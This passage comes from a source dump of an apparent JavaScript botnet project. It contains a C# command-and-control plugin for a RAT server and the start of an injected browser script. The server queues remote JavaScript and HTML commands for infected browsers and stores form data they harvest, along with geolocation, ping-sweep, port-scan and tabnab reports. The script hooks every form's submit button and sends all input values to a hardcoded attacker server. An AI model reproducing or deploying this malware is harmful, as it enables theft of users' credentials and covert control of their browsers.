(jsAllowedTokens.Contains(token)) return true; //The token is already registered 542 | 543 | if (canDisplay) //Ask the admin for approval 544 | { 545 | if (sCore.RAT.ServerSettings.ShowMessageBox("Another plugin wants acces to the JS Botnet Plugin Command Send Feature\r\nDo you allow it?", 546 | "Permission Check", MessageBoxButtons.YesNo, MessageBoxIcon.Question, pluginToken) == DialogResult.Yes) 547 | { 548 | jsAllowedTokens.Add(token); 549 | return true; 550 | } 551 | } 552 | else Console.WriteLine("Failed to give permission, because can't display a message box (no permission)"); //No display permission (should never reach this) 553 | 554 | return false; //Permission request rejected 555 | } 556 | 557 | /// 558 | /// Generate Permissions And Load Functions For External API Support 559 | /// 560 | private void PublishAPI() 561 | { 562 | //Create new permission checks for new API functions 563 | sCore.Utils.ExternalAPIs.LoadPermissionChecks(apiToken, 564 | new Predicate((x) => { return true; }), 565 | new Predicate((x) => { return sCore.Integration.Integrate.CheckPermission(Permissions.ServerControl, x); }), 566 | JSBotPermission 567 | ); 568 | 569 | sCore.Utils.ExternalAPIs.LoadExternalAPIFunctions(apiToken, typeof(Class1)); //Load the API functions to the bridge 570 | } 571 | 572 | /// 573 | /// Handles selecting clients 574 | /// 575 | /// The sender of the event 576 | /// The event args 577 | private void ItemChangedHandler(object sender, EventArgs e) 578 | { 579 | ComboBox cb = (ComboBox)sender; //Get the cbox 580 | 581 | if (cb.SelectedItem != null) //If an item is selected 582 | { 583 | currentClient = cb.SelectedItem.ToString(); //Get the current client ID 584 | output.Clear(); //Clear the output box 585 | } 586 | } 587 | 588 | /// 589 | /// Handles command sending to clients 590 | /// 591 | /// The sender of the event 592 | /// The event args 593 | private void KeyDownHandler(object sender, KeyEventArgs e) 594 | { 595 | if (e.KeyCode == Keys.Return) //If eneter was pressed 596 | { 597 | if (blockCommands || currentClient == "") return; //If no client selected or commands are blocked return 598 | TextBox input = (TextBox)sender; //Get the sender control 599 | string cmd = input.Text; //Get the command text 600 | if (cmd == "cls" || cmd == "clear") output.Clear(); //Register local screen clear commands 601 | //Handle content parsing from specified local files 602 | if (cmd.StartsWith("append-html ")) //Append html to the end of the page 603 | { 604 | //Parse html content and create command 605 | string file = cmd.Substring(12); 606 | string html = ""; 607 | if (File.Exists(file)) html = File.ReadAllText(file); 608 | else html = file; 609 | html = html.Replace(Environment.NewLine, string.Empty); 610 | html = html.Replace("\"", "\\\""); 611 | html = html.Replace("\t", string.Empty); 612 | html = html.Trim(); 613 | cmd = "append-html " + html; 614 | } 615 | if (cmd.StartsWith("push-html ")) //Replace the site's html content 616 | { 617 | //Parse the html content and create the command 618 | string file = cmd.Substring(10); 619 | string html = ""; 620 | if (File.Exists(file)) html = File.ReadAllText(file); 621 | else html = file; 622 | html = html.Replace(Environment.NewLine, string.Empty); 623 | html = html.Replace("\"", "\\\""); 624 | html = html.Replace("\t", string.Empty); 625 | html = html.Trim(); 626 | cmd = "push-html " + html; 627 | } 628 | if (cmd.StartsWith("execute-js ")) //Execute raw javascript on the remote site 629 | { 630 | //Parse the JS content and create the command 631 | string file = cmd.Substring(11); 632 | string js = ""; 633 | if (File.Exists(file)) js = File.ReadAllText(file); 634 | else js = file; 635 | js = js.Replace(Environment.NewLine, string.Empty); 636 | js = js.Replace("\"", "\\\""); 637 | js = js.Replace("\t", string.Empty); 638 | js = js.Trim(); 639 | cmd = "execute-js " + js; 640 | } 641 | e.SuppressKeyPress = true; //Supress the eneter key 642 | input.Clear(); //Clear the command text 643 | commandPoll.Add(currentClient, cmd); //Add the command to the wait list 644 | if (output != null) output.AppendText("[Server->Client]: " + cmd + Environment.NewLine); //Append command to the output screen 645 | } 646 | } 647 | 648 | /// 649 | /// Create the UI of the plugin 650 | /// 651 | private void CreateUI() 652 | { 653 | TabControl tc = sCore.UI.CommonControls.mainTabControl; //Get the tabControl of the server 654 | 655 | //Invoke if we need to 656 | if (tc.InvokeRequired) 657 | { 658 | VoidDelegate vd = new VoidDelegate(CreateUI); 659 | tc.Invoke(vd); 660 | return; 661 | } 662 | 663 | //Create a tab page for this plugin 664 | TabPage tp = new TabPage(); 665 | tp.Name = "page_WebExt"; 666 | tp.Text = "JS Control"; 667 | tp.BackColor = SystemColors.Window; 668 | 669 | //Create a client selector 670 | ComboBox cb = new ComboBox(); 671 | cb.Name = "js_selectClient"; 672 | cb.Text = "Select a client"; 673 | cb.Size = new Size(200, 20); 674 | cb.Location = new Point(25, 25); 675 | cb.SelectedIndexChanged += new EventHandler(ItemChangedHandler); 676 | peerList = cb; 677 | 678 | //Create the label in front of the command box 679 | Label cmdLabel = new Label(); 680 | cmdLabel.Text = "Command:"; 681 | cmdLabel.Location = new Point(25, 70); 682 | cmdLabel.AutoSize = true; 683 | 684 | //Create the command box 685 | TextBox cmdInput = new TextBox(); 686 | cmdInput.Size = new Size(500, 20); 687 | cmdInput.Location = new Point(100, 68); 688 | cmdInput.KeyDown += new KeyEventHandler(KeyDownHandler); 689 | 690 | //Create the label in front of the output screen 691 | Label outputLabel = new Label(); 692 | outputLabel.AutoSize = true; 693 | outputLabel.Location = new Point(25, 115); 694 | outputLabel.Text = "Output:"; 695 | 696 | //Create the output screen 697 | RichTextBox outputBox = new RichTextBox(); 698 | outputBox.ReadOnly = true; 699 | outputBox.BackColor = SystemColors.Control; 700 | outputBox.Size = new Size(tc.Size.Width - 25 - 50, tc.Size.Height - 190); 701 | outputBox.Location = new Point(25, 140); 702 | output = outputBox; 703 | 704 | tp.Controls.AddRange(new Control[] { cb, cmdLabel, cmdInput, outputLabel, outputBox }); //Add the control to the tabpage 705 | tc.TabPages.Add(tp); //Add the tabpage to the tabControl 706 | } 707 | 708 | /// 709 | /// Server port parsing function with retry 710 | /// 711 | /// A valid integer for server port 712 | private int GetPort() 713 | { 714 | //Create a new input box 715 | Types.InputBoxValue ret = sCore.RAT.ServerSettings.ShowInputBox("Please eneter the server port", "Enter a port for the Bot listener to run on", pluginToken); 716 | if (ret.dialogResult != DialogResult.OK) return -1; //Result is cancel, return 717 | int portNumber = -1; 718 | int.TryParse(ret.result, out portNumber); 719 | if (portNumber == -1 || portNumber < 0) //Invalid port 720 | { 721 | sCore.RAT.ServerSettings.ShowMessageBox("You entered an invalid value", "Error", MessageBoxButtons.OK, MessageBoxIcon.Warning, pluginToken); //Notify the admin 722 | return GetPort(); //Try again 723 | } 724 | else return portNumber; //Return the valid integer 725 | } 726 | 727 | /// 728 | /// Message object for async calls 729 | /// 730 | private struct MessageData 731 | { 732 | public byte[] buffer; //Receive buffer 733 | public Socket sender; //Client Socket 734 | } 735 | 736 | /// 737 | /// Async callback for accepting incoming connctions 738 | /// 739 | /// Async Result 740 | private void AcceptClient(IAsyncResult ar) 741 | { 742 | try 743 | { 744 | Console.WriteLine("Client connected!"); //Debug message 745 | Socket s = _serverSocket.EndAccept(ar); //The connected client 746 | //Don't log clients in a list, because they will disconnect after the response(HTTP), there is no persistent connection 747 | MessageData md = new MessageData() //Create a new message object 748 | { 749 | buffer = new byte[1024], 750 | sender = s 751 | }; 752 | 753 | s.BeginReceive(md.buffer, 0, md.buffer.Length, SocketFlags.None, new AsyncCallback(ReadCallback), md); //Begin reading from the botnet client 754 | } 755 | catch (Exception ex) 756 | { 757 | Console.WriteLine("Failed to accept client, Reason: " + ex.ToString()); //Accept failed 758 | } 759 | } 760 | 761 | /// 762 | /// Parse HTTP GET request params 763 | /// 764 | /// The HTTP request 765 | /// The parsed GET params 766 | private Dictionary GetRequestParams(string requestString) 767 | { 768 | String[] lines = requestString.Split('\n'); //Split the request by new lines 769 | List reqLines = new List(); //Create a new string list 770 | Dictionary dict = new Dictionary(); //Create the param dictionary 771 | 772 | foreach (string line in lines) //Loop through the lines 773 | { 774 | reqLines.Add(line.Replace("\r", String.Empty)); //Strip \r from the end and add the lines to the list 775 | } 776 | 777 | lines = reqLines.ToArray(); //Convert the list back to array 778 | reqLines.Clear(); //Clear the list 779 | reqLines = null; //Dereference the list 780 | 781 | string pLine = lines[0]; //Get the first line of the request 782 | int qPos = pLine.IndexOf('?'); //Get the position of the first question mark 783 | pLine = pLine.Substring(qPos + 1, pLine.Length - qPos - 1); //Cut until the question mark 784 | pLine = pLine.Replace(" HTTP/1.1", String.Empty); //Strip the HTTP version from the line 785 | if (pLine.Contains("&")) //Multiple params 786 | { 787 | String[] ps = pLine.Split('&'); //Split the params 788 | 789 | foreach (string p in ps) //Loop through the params 790 | { 791 | String[] param = p.Split('='); //Split to key value pair 792 | dict.Add(param[0], param[1]); //Add them to the param list 793 | } 794 | } 795 | else //Only one param 796 | { 797 | String[] param = pLine.Split('='); //Split them to key value pair 798 | dict.Add(param[0], param[1]); //Add them to the param list 799 | } 800 | 801 | return dict; //Return the param list 802 | } 803 | 804 | /// 805 | /// Get the next command based on clientID 806 | /// 807 | /// The id of the client waiting for the next command 808 | /// The next command for the client or null if there isn't any 809 | private string GetNextCommand(string clientID) 810 | { 811 | Monitor.Enter(pollLock); //Lock the command poll object 812 | if (commandPoll.ContainsKey(clientID)) //Check if there are commands for our client 813 | { 814 | string cmd = commandPoll.At(clientID); //Get the first command for the client 815 | commandPoll.RemoveByKey(clientID); //Remove that command 816 | Monitor.Exit(pollLock); //Release the command poll lock 817 | return cmd; //Return the command for the client 818 | } 819 | else //There isn't any commands for this client 820 | { 821 | Monitor.Exit(pollLock); //Release the lock for the commandPoll 822 | return null; //Return null; 823 | } 824 | } 825 | 826 | /// 827 | /// Filters and Removes inactive clients 828 | /// 829 | private void CleanThread() 830 | { 831 | while (true) 832 | { 833 | if (threadStop) break; //If stop flag is set, then exit the thread 834 | 835 | try 836 | { 837 | List flagged = new List(); //Flagged clients for removal 838 | 839 | foreach (KeyValuePair kvp in _clientList) //Loop through the clients 840 | { 841 | DateTime cmp = DateTime.Now; 842 | TimeSpan diff = cmp - kvp.Value; 843 | if (diff.TotalSeconds >= 50) flagged.Add(kvp.Key); //if a client didn't responded in the last 50 seconds, flag it 844 | } 845 | 846 | if (flagged.Count > 0) //inactive clients detected 847 | { 848 | blockCommands = true; //Block user from issuing commands 849 | Monitor.Enter(pollLock); //Lock commandPoll, because a list operation is might be going on in GetNextCommand 850 | foreach (string rclient in flagged) 851 | { 852 | commandPoll.RemoveAllByKey(rclient); //Remove commands tasked for unresponsive clients 853 | _clientList.Remove(rclient); //Remove inactive clients from clientList 854 | if (currentClient == rclient) DisconnectCurrent(); //if the current client is inactive set the current client to nothing 855 | } 856 | Monitor.Exit(pollLock); //Release lock, because we no longer manipulate the commandPoll obj 857 | while (commandPoll.Count != 0) Thread.Sleep(1000); //wait for active clients to process all commands 858 | 859 | reservedIds = 0; //reset the reserved ids 860 | ClearListClient(); //Remove all client entries from combobox 861 | 862 | int compareID = int.Parse(flagged[0].Substring(6)); 863 | 864 | foreach (string clientName in _clientList.Keys) //go through all clients 865 | { 866 | int clientID = int.Parse(clientName.Substring(6)); 867 | 868 | if (!flagged.Contains(clientName) && clientID > compareID) //Filter inactive clients 869 | { 870 | commandPoll.Add(clientName, "reassign"); //add a command to request new client id to all active clients 871 | } 872 | } 873 | 874 | //Clients will now request new client IDs wait 12 seconds for that 875 | Thread.Sleep(12000); 876 | 877 | blockCommands = false; //Let the user issue commands again 878 | } 879 | 880 | Thread.Sleep(5000); 881 | } 882 | catch (NullReferenceException ex) 883 | { 884 | Console.WriteLine("Clean Thread error Reason: " + ex.ToString()); 885 | if (threadStop) break; 886 | } 887 | } 888 | 889 | threadStop = false; //Reset the flag, because after the stop it wil stay true. 890 | } 891 | 892 | /// 893 | /// Clear the client list combobox 894 | /// 895 | private void ClearListClient() 896 | { 897 | //Invoke if we need to 898 | if (peerList.InvokeRequired) 899 | { 900 | VoidDelegate vd = new VoidDelegate(ClearListClient); 901 | peerList.Invoke(vd); 902 | return; 903 | } 904 | 905 | //Clear the list and reset the selected item 906 | peerList.Items.Clear(); 907 | peerList.SelectedItem = null; 908 | peerList.Text = ""; 909 | } 910 | 911 | /// 912 | /// Disconnect from current client 913 | /// 914 | private void DisconnectCurrent() 915 | { 916 | //Invoke if we need to 917 | if (output.InvokeRequired) 918 | { 919 | VoidDelegate vd = new VoidDelegate(DisconnectCurrent); 920 | output.Invoke(vd); 921 | return; 922 | } 923 | 924 | //Reset the current client and the output screen 925 | currentClient = ""; 926 | output.Text = ""; 927 | } 928 | 929 | /// 930 | /// Add a new client to the client list 931 | /// 932 | /// The ID of the client to add 933 | private void AddListClient(string clientName) 934 | { 935 | //Invoke if we need to 936 | if (peerList.InvokeRequired) 937 | { 938 | StringDelegate sd = new StringDelegate(AddListClient); 939 | peerList.Invoke(sd, new object[] { clientName }); 940 | return; 941 | } 942 | 943 | //Add the client to the list 944 | peerList.Items.Add(clientName); 945 | } 946 | 947 | /// 948 | /// Remove a client from the list 949 | /// 950 | /// The ID of the client to remove 951 | private void RemoveListClient(string clientName) 952 | { 953 | //Check if we need to invoke 954 | if (peerList.InvokeRequired) 955 | { 956 | StringDelegate sd = new StringDelegate(AddListClient); 957 | peerList.Invoke(sd, new object[] { clientName }); 958 | return; 959 | } 960 | 961 | //Remove the client from the list 962 | peerList.Items.Remove(clientName); 963 | } 964 | 965 | /// 966 | /// Async Read from the client 967 | /// 968 | /// Async Result 969 | private void ReadCallback(IAsyncResult ar) 970 | { 971 | MessageData md = (MessageData)ar.AsyncState; //Get the message object 972 | int read = md.sender.EndReceive(ar); //Read the message 973 | Console.WriteLine("Reading from stream " + read.ToString() + " bytes"); 974 | if (read > 0) //If something is read 975 | { 976 | //Convert the data to string 977 | byte[] data = new byte[read]; 978 | Array.ConstrainedCopy(md.buffer, 0, data, 0, read); 979 | string text = Encoding.ASCII.GetString(data); 980 | 981 | Dictionary dict = GetRequestParams(text); //Get the request params 982 | Dictionary d = new Dictionary(); //Define the response params 983 | 984 | string cmd = dict["command"]; //Get the client's command 985 | Console.WriteLine(cmd); 986 | 987 | if (cmd == "register") //Client's first check, it wants to get a client ID 988 | { 989 | Console.WriteLine("In registration"); 990 | string clientID = "Client" + reservedIds.ToString(); //Get the next available ID 991 | _clientList.Add(clientID, DateTime.Now.AddSeconds(1)); //Add 1 second for next poll 992 | AddListClient(clientID); //Add the client to the list 993 | reservedIds++; //Reserve the current ID 994 | d.Add("result", clientID); //Add result, clientID to response params 995 | SendResponse(d, md.sender); //Send response 996 | } 997 | else if (cmd == "getCommand") //Client wants to get new commands to execute 998 | { 999 | string rcmd = GetNextCommand(dict["client"]); //Get the next queued command for the client 1000 | if (rcmd == null) rcmd = ""; //No commands for now 1001 | d.Add("result", rcmd); //Add the command to the response 1002 | _clientList[dict["client"]] = DateTime.Now; //Update the comm date 1003 | SendResponse(d, md.sender); //Send response to client 1004 | } 1005 | else if (cmd == "feedback") //Client wants to send feedback, about the result of a long running command 1006 | { 1007 | string msg = dict["text"]; //Get the feedback text 1008 | if (currentClient == dict["client"]) AppendResponse(msg); //If the current client sent the feedback, display it 1009 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(msg, dict["client"], dict)); 1010 | d.Add("status", "received"); //Add status to the response 1011 | SendResponse(d, md.sender); //Send response to client 1012 | } 1013 | else if (cmd == "formData") //Client sends result about a form harvest 1014 | { 1015 | string client = dict["client"]; //The client, which harvested the form 1016 | string dump = dict["formDump"]; //The form dump itself 1017 | string site = dict["site"]; //The site which the form was dumped on 1018 | dump = Uri.UnescapeDataString(dump); //Convert from URL Encoding 1019 | site = Uri.UnescapeDataString(site); //Convert from URL Encoding 1020 | 1021 | string format = client + " - " + site + Environment.NewLine + dump + Environment.NewLine; //Create a data string 1022 | WriteFormData(format); //Store the form data 1023 | d.Add("sample", "sample"); //Add some params to the response 1024 | SendResponse(d, md.sender); //Send response to client 1025 | } 1026 | else if (cmd == "storeLocation") //Client sends result of geolocation 1027 | { 1028 | string client = dict["client"]; //The client which geolocated the browser 1029 | //Create and Display the message 1030 | string message = "200 Success on requeting geolocation\r\n" + client + " responded with: lat:" + dict["latitude"] + "; lng: " + dict["longitude"]; 1031 | AppendResponse(message); 1032 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(message, dict["client"], dict)); 1033 | //Respond to client 1034 | d.Add("sample", "sample"); 1035 | SendResponse(d, md.sender); 1036 | } 1037 | else if (cmd == "errorLocation") //The client send result of a failed geolocation attempt 1038 | { 1039 | string client = dict["client"]; //The client which failed the geolocation 1040 | //Create and Display message 1041 | string message = "404 Geolocation failed on target!\r\n" + client + "Responded with: " + dict["message"]; 1042 | AppendResponse(message); 1043 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(message, dict["client"], dict)); 1044 | //Respond to client 1045 | d.Add("sample", "sample"); 1046 | SendResponse(d, md.sender); 1047 | } 1048 | else if (cmd == "pingResult") //Client sends the result of a ping sweep on the network 1049 | { 1050 | string client = dict["client"]; //The client which executed the ping sweep 1051 | //Create and Display message 1052 | string message = "200 Ping sweep finished on target!\r\n" + client + " Responded with: " + dict["result"]; 1053 | AppendResponse(message); 1054 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(message, dict["client"], dict)); 1055 | //Respond to the client 1056 | d.Add("sample", "sample"); 1057 | SendResponse(d, md.sender); 1058 | } 1059 | else if (cmd == "portResult") //Client sends a portscan result 1060 | { 1061 | string client = dict["client"]; //The client which scanned a port 1062 | //Create and Display message 1063 | string message = "200 Port Scan completed\r\n" + client + " responded with: " + dict["message"]; 1064 | AppendResponse(message); 1065 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(message, dict["client"], dict)); 1066 | //Repond to client 1067 | d.Add("sample", "sample"); 1068 | SendResponse(d, md.sender); 1069 | } 1070 | else if (cmd == "tabNabReport") //Client sends the result of a tabnab 1071 | { 1072 | string client = dict["client"]; //The client which executed tabnab 1073 | //Create and Display message 1074 | string message = "200 " + client + " tab nab activated, site changed to: " + dict["site"]; 1075 | AppendResponse(message); 1076 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs(message, dict["client"], dict)); 1077 | //Respond to client 1078 | d.Add("sample", "sample"); 1079 | SendResponse(d, md.sender); 1080 | } 1081 | else //Invalid client command received 1082 | { 1083 | JSBotnetMessageReceived?.Invoke(new JSBotnetMessageEventArgs("Invalid Client Command", dict["client"], dict)); 1084 | AppendResponse("Invalid command received.\r\nIgnoring request and continuing tasks"); 1085 | } 1086 | 1087 | try //Try to restart receiving 1088 | { 1089 | md.buffer = new byte[1024]; 1090 | md.sender.BeginReceive(md.buffer, 0, md.buffer.Length, SocketFlags.None, new AsyncCallback(ReadCallback), md); 1091 | } 1092 | catch (Exception) //Failed to restart receiving, close client socket 1093 | { 1094 | if (md.sender.Connected) md.sender.Disconnect(false); 1095 | md.sender.Close(); 1096 | md.sender.Dispose(); 1097 | md.sender = null; 1098 | } 1099 | } 1100 | else //Nothing is read, close the connection socket 1101 | { 1102 | if (md.sender.Connected) md.sender.Disconnect(false); 1103 | md.sender.Close(); 1104 | md.sender.Dispose(); 1105 | md.sender = null; 1106 | } 1107 | } 1108 | 1109 | /// 1110 | /// Write form dump result to a file 1111 | /// 1112 | /// The form dump contents 1113 | private void WriteFormData(string fd) 1114 | { 1115 | const string dumpFile = "formDump.txt"; 1116 | if (!File.Exists(dumpFile)) File.Create(dumpFile).Close(); //Create the file if needed 1117 | //Append the content to the file 1118 | string fileContent = File.ReadAllText(dumpFile); 1119 | fileContent += fd; 1120 | File.WriteAllText(dumpFile, fileContent); 1121 | } 1122 | 1123 | /// 1124 | /// Append text to output screen 1125 | /// 1126 | /// The text to append 1127 | private void AppendResponse(string response) 1128 | { 1129 | //Check if we need to invoke 1130 | if (output.InvokeRequired) 1131 | { 1132 | StringDelegate sd = new StringDelegate(AppendResponse); 1133 | output.Invoke(sd, new object[] { response }); 1134 | return; 1135 | } 1136 | 1137 | response = Uri.UnescapeDataString(response); //Decode URL encoded chars 1138 | 1139 | output.AppendText("[Client->Server]: " + response + Environment.NewLine); //Append the text 1140 | } 1141 | 1142 | /// 1143 | /// Send HTTP Response to the client's request 1144 | /// 1145 | /// The parameter to send 1146 | /// The client socket to send the reponse to 1147 | private void SendResponse(Dictionary dict, Socket client) 1148 | { 1149 | string json = "{"; //Create a new string, where we store the JSON data 1150 | 1151 | foreach (KeyValuePair kvp in dict) //Convert the parameters to JSON encoded string 1152 | { 1153 | json += "\"" + kvp.Key + "\": \"" + kvp.Value + "\","; 1154 | } 1155 | 1156 | //Format the JSON string 1157 | json = json.Substring(0, json.Length - 1); 1158 | json += "}"; 1159 | Console.WriteLine("Result JSON: " + json); 1160 | //Construct the response 1161 | byte[] content = Encoding.ASCII.GetBytes(json); 1162 | string resp = "HTTP/1.1 200 OK\r\nServer: ratServer\r\nContent-Length: " + content.Length + "\r\nContent-Type: application/json\r\nAccess-Control-Allow-Origin: *\r\n\r\n"; 1163 | byte[] header = Encoding.ASCII.GetBytes(resp); 1164 | byte[] total = new byte[header.Length + content.Length]; 1165 | Array.Copy(header, total, header.Length); 1166 | Array.ConstrainedCopy(content, 0, total, header.Length, content.Length); 1167 | //Send response to client 1168 | client.Send(total); 1169 | } 1170 | 1171 | /// 1172 | /// Plugin Thread Entry Point 1173 | /// 1174 | public void PMain() 1175 | { 1176 | int port = -1; //Define the server port 1177 | if (canDisplay) port = GetPort(); 1178 | if (port == -1) 1179 | { 1180 | Console.WriteLine("Invalid Port or Permissions Denied"); 1181 | return; 1182 | } 1183 | //Create and start the cleaning thread 1184 | Thread t = new Thread(new ThreadStart(CleanThread)); 1185 | t.Start(); 1186 | //Create and start the server socket 1187 | _serverSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); 1188 | IPEndPoint ep = new IPEndPoint(IPAddress.Any, port); 1189 | _serverSocket.Bind(ep); 1190 | _serverSocket.Listen(5); 1191 | _serverSocket.BeginAccept(new AsyncCallback(AcceptClient), null); 1192 | //Create the UI of the plugin 1193 | CreateUI(); 1194 | Console.WriteLine("Setup completed"); //Debug message 1195 | } 1196 | 1197 | /// 1198 | /// Plugin Exit Point 1199 | /// 1200 | public void OnExit() 1201 | { 1202 | //Remove all external APIs and permissions provided by this plugin 1203 | sCore.Utils.ExternalAPIs.RemoveAllFunctions(apiToken); 1204 | sCore.Utils.ExternalAPIs.RemovePermissionCheckers(apiToken); 1205 | jsAllowedTokens.Clear(); 1206 | //Set flag to stop running threads 1207 | threadStop = true; 1208 | //Clear, dispose commandPoll 1209 | commandPoll.Clear(); 1210 | //Disconnect, dispose, close the serverSocket 1211 | if (_serverSocket.Connected) _serverSocket.Disconnect(false); 1212 | _serverSocket.Close(); 1213 | _serverSocket.Dispose(); 1214 | _serverSocket = null; 1215 | //Clear and dispose the client list 1216 | _clientList.Clear(); 1217 | //Remove the tabPage 1218 | sCore.UI.CommonControls.mainTabControl.Invoke(new Action(() => 1219 | { 1220 | 1221 | TabPage toRemove = null; 1222 | 1223 | foreach (TabPage tp in sCore.UI.CommonControls.mainTabControl.TabPages) 1224 | { 1225 | if (tp.Text.ToLower() == "js control") 1226 | { 1227 | toRemove = tp; 1228 | } 1229 | } 1230 | 1231 | if (toRemove != null) sCore.UI.CommonControls.mainTabControl.TabPages.Remove(toRemove); 1232 | 1233 | })); 1234 | } 1235 | } 1236 | } 1237 | -------------------------------------------------------------------------------- /WebPlugin/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("WebPlugin")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("WebPlugin")] 13 | [assembly: AssemblyCopyright("Copyright © 2017")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("2b32ecde-4912-4142-8a86-28dfba7b6b15")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /WebPlugin/WebPlugin.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {2B32ECDE-4912-4142-8A86-28DFBA7B6B15} 8 | Library 9 | Properties 10 | WebPlugin 11 | WebPlugin 12 | v4.5.2 13 | 512 14 | 15 | 16 | true 17 | full 18 | false 19 | bin\Debug\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | 24 | 25 | pdbonly 26 | true 27 | bin\Release\ 28 | TRACE 29 | prompt 30 | 4 31 | 32 | 33 | 34 | ..\..\sCore\sCore\bin\Debug\sCore.dll 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | -------------------------------------------------------------------------------- /WebPlugin/bin/Debug/WebPlugin.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AdvancedHacker101/Javascript-Botnet-C-Sharp/ad27432191e2b1026fdb44752cd797b808dcf2f3/WebPlugin/bin/Debug/WebPlugin.dll -------------------------------------------------------------------------------- /WebPlugin/bin/Debug/c# R.A.T Browser/main.js: -------------------------------------------------------------------------------- 1 | //Section: Global Variables 2 | 3 | var debug_mode = 1; 4 | var clientID = ""; 5 | var listening = false; 6 | var afterError = false; 7 | var intervalHost; 8 | var allFormData = ""; 9 | var validIPs = ""; 10 | var lastIP = ""; 11 | var validSubnetFound = false; 12 | var blocked_ports = [0,1,7,9,11,13,15,17,19,20,21,22,23,25,37,42,43,53,77,79,87,95,101,102,103,104,109,110,111,113,115,117,119,123,135,139,143,179,389,465,512,513,514,515,526,530,531,532,540,556,563,587,601,636,993,995,2049,4045,6000]; 13 | var actionIntervalHost; 14 | var inactiveTime = 0; 15 | var tabNabSite = ""; 16 | var canTabNab = false; 17 | var serverLocation = "http://192.168.10.56:80"; 18 | 19 | //Section: Helper Methods 20 | 21 | function Log(message) //Log messages 22 | { 23 | if (debug_mode == 1) console.log(message); //Only log if debug_mode is set 24 | } 25 | 26 | function CheckjQuery() //Check if jQuery exists 27 | { 28 | if (typeof jQuery == "undefined") return false; //jQuery is undefined, not existing 29 | return true; //jQuery is defined, existing 30 | } 31 | 32 | function LoadjQuery() //Load yQuery into the document 33 | { 34 | var scriptTag = document.createElement("script"); //Create HTML Script Tag 35 | scriptTag.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"; //Source is jQuery hosted on googleapis 36 | scriptTag.type = "text/javascript"; //Script type is javascript 37 | document.getElementsByTagName("head")[0].appendChild(scriptTag); //Insert the scriptag to the head section of the HTML document 38 | } 39 | 40 | var waitForjQuery = function () //Wait for jQuery to load 41 | { 42 | if (CheckjQuery) //Jquery is loaded 43 | { 44 | Log("jQuery loaded"); 45 | startListener(); //Start polling 46 | } 47 | else //jQuery is not yet loaded 48 | { 49 | window.setTimeout(waitForjQuery, 1000); //Wait another 1 second 50 | } 51 | }; 52 | 53 | function infectAllForms() //infect all forms on a website (on submit sends all from data to server) 54 | { 55 | var all = document.getElementsByTagName("*"); //Get every element on zhe page 56 | 57 | for (var i=0, max=all.length; i < max; i++) { //Loop through every element 58 | var element = all[i]; //The current element 59 | var element_type = '<' + element.tagName.toLowerCase() + '>'; //Element tag name 60 | Log(element_type); 61 | if (element_type == "
") //if this is a form element 62 | { 63 | var formElements = element.getElementsByTagName("input"); //Get all input elements in this form 64 | 65 | for (var c = 0; c < formElements.length; c++) //Loop through every input element in this form 66 | { 67 | var input = formElements[c]; //The current input element 68 | var inputName = input.name; //The name of the input element 69 | Log("FORM input: " + inputName); 70 | 71 | if (input.type == "submit") //If the input element is a submit button 72 | { 73 | Log("Submit element found!"); 74 | 75 | input.addEventListener("click", function() { //Add a click event listener to the submit button 76 | //Submit clicked 77 | var form = this.parentElement; //The form element 78 | var inputs = form.getElementsByTagName("input"); //The input elements of this form element 79 | 80 | for (var t = 0 ; t < inputs.length; t++) //Loop thorugh all input elements in this form element 81 | { 82 | allFormData = allFormData + inputs[t].name + ":" + inputs[t].value + ";"; //Append element name, value to allFormData 83 | } 84 | 85 | var data = { //The data structure 86 | client: clientID, 87 | command: "formData", 88 | formDump: allFormData, 89 | site: window.location.href 90 | }; 91 | 92 | $.ajax({ 93 | type: "GET", //Get request 94 | data: data, //The above data structure 95 | dataType: "text", //data type is text, so the server doesn't need to send json back 96 | url: serverLocation //the destination (your server) 97 | }); 98 | 99 | }); 100 | } 101 | } 102 | } 103 | } 104 | } 105 | 106 | function getBrowserInfo() //Get the size of the screen 107 | { 108 | return "screenX: \"" + screen.width + "\";screenY: \"" + screen.height + "\""; 109 | } 110 | 111 | function isPopUpBlocked() //Check if pop ups are blocked by the browser 112 | { 113 | //Define new pop up window 114 | var popWindow = window.open("/", "wName", "width=1, height=1, left="+screen.width+", top="+screen.height+", scrollbars, resizable"); 115 | 116 | if (popWindow == null || typeof(popWindow) == "undefined") return "Browser blocked pop-up Window"; //Blocked 117 | else //Not blocked, and close it 118 | { 119 | popWindow.close(); 120 | return "Browser didn't block pop-up window"; 